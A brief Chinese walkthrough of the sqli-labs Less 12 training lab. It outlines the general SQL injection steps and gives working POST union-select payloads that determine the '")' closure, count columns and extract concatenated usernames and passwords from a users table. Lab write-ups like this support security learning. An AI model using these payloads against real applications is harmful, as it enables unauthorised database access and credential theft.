sqli-labs靶场 less 12

---

sqli-labs靶场

每道题都从以下模板讲解，并且每个步骤都有图片，清晰明了，便于复盘。

sql注入的基本步骤

• 注入点
• 注入类型
  • 字符型：判断闭合方式 （‘、"、’'、“”）
  • 数字型
• 根据实际情况，选择合适的注入方式
• 获取数据库名，表名，列名，数据

less 12 POST联合

• 题目类型:

输入1"
根据报错提示 near ‘“1"”) and password=(“”) LIMIT 0,1’
判断是") 闭合

uname=1")–+
无报错，说明闭合成功，闭合方式是 " )

原理和less 11一样
判断字段数，回显位，报数据
uname=1")order+by+2–+
uname=1")union+select+1,2–+
uname=1")union+select+1,(select+substr((group_concat(username,password)),1,32)+from+users)–+

---